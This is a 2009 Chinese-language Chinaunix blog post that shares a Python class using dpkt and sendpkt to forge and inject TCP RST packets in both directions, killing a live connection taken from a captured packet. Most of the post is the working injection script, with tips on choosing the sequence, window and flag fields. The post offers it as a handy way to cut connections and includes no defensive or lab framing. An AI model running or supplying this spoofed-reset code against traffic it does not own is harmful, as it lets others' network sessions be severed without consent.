Chinaunix首页 | 论坛 | 博客
  • 博客访问: 213921
  • 博文数量: 53
  • 博客积分: 2626
  • 博客等级: 少校
  • 技术积分: 509
  • 用 户 组: 普通用户
  • 注册时间: 2008-11-27 22:40
文章分类

全部博文(53)

文章存档

2012年(2)

2011年(13)

2010年(10)

2009年(28)

我的朋友

分类: Python/Ruby

2009-12-22 22:02:11

不想上网的时候 你可以py它
实现发送RST阻断连接的类 前提是要传进来一个"伪"数据报当傀儡~ 最简单的就是你要RST的那个连接的包
dpkt & sendpkt真是无敌了 省了很多工作 有时候python这个风情万种的小语言真是魅惑死人了

key: seq/off_x2/win要好好设
     ack=0 反正这样也行的通
     sum=0 校验和交给sendpkt就万事大吉了 心怀叵测的我自己写了遍checksum 结果没用上~
     对SYN/FIN/纯ACK最好都跳过

#!/bin/python
import dpkt,pcap,ctypes,sendpkt        #,socket,struct,time
class Send_rst:
    """send rst packt"""
    def __init__(self):
        self.pdata=''
        self.dev=''

    def send_rst_pkt(self):
        eth=dpkt.ethernet.Ethernet(self.pdata)
        ip=eth.data
        tcp=ip.data
    
        if tcp.flags & dpkt.tcp.TH_SYN or tcp.flags & dpkt.tcp.TH_FIN:
            return None
        else:
            if tcp.flags == dpkt.tcp.TH_ACK:
            return None
            else:
            recv_tcp=dpkt.tcp.TCP(
            sport=tcp.sport,
            dport=tcp.dport,
            seq=tcp.seq+len(tcp.data),
#            ack=tcp.ack,
            ack=0,
            off_x2=0x50,
            flags=dpkt.tcp.TH_RST,        #|dpkt.tcp.TH_ACK,
            win=tcp.win,                        #0,
            sum=0,
            urp=0)

            recv_ip=dpkt.ip.IP(
            v_hl=ip.v_hl,
            tos=ip.tos,        #0
            len=40,
        #    id=time.time()%65536,
            id=ip.id+1,
            off=0x4000,        #ip.off
            ttl=128,
            p=ip.p,
            sum=0,
            src=ip.src,
            dst=ip.dst,
            data=recv_tcp)

            recv_eth=dpkt.ethernet.Ethernet(
            dst=eth.dst,
            src=eth.src,
            type=eth.type,
            data=recv_ip)

            sendpkt.sendpacket(str(recv_eth),self.dev)
         
            tmp=ip.src
            ip.src=ip.dst
            ip.dst=tmp

            send_tcp=dpkt.tcp.TCP(
            sport=tcp.dport,
            dport=tcp.sport,
            seq=tcp.ack,
            ack=tcp.seq+len(tcp.data),
        #    ack=0,
        #    seq=0,
        #    ack=tcp.seq+1,
            off_x2=0x50,
            flags=dpkt.tcp.TH_RST,        #|dpkt.tcp.TH_ACK,
            win=tcp.win,        #0,
            sum=0,
            urp=0)

            send_ip=dpkt.ip.IP(
            v_hl=ip.v_hl,
            tos=ip.tos,        #0
            len=40,
        #    id=time.time()%65536,
            id=ip.id+1,
            off=0x4000,        #ip.off,
            ttl=128,
            p=ip.p,
            sum=0,
            src=ip.src,
            dst=ip.dst,
            data=send_tcp)
   
            send_eth=dpkt.ethernet.Ethernet(
            dst=eth.src,
            src=eth.dst,
            type=eth.type,
            data=send_ip)

            sendpkt.sendpacket(str(send_eth),self.dev)
            print 'send over~'
阅读(1467) | 评论(0) | 转发(0) |
0

上一篇:MMX及SSE优化--MMX篇

下一篇:libfoo.so

给主人留下些什么吧!~~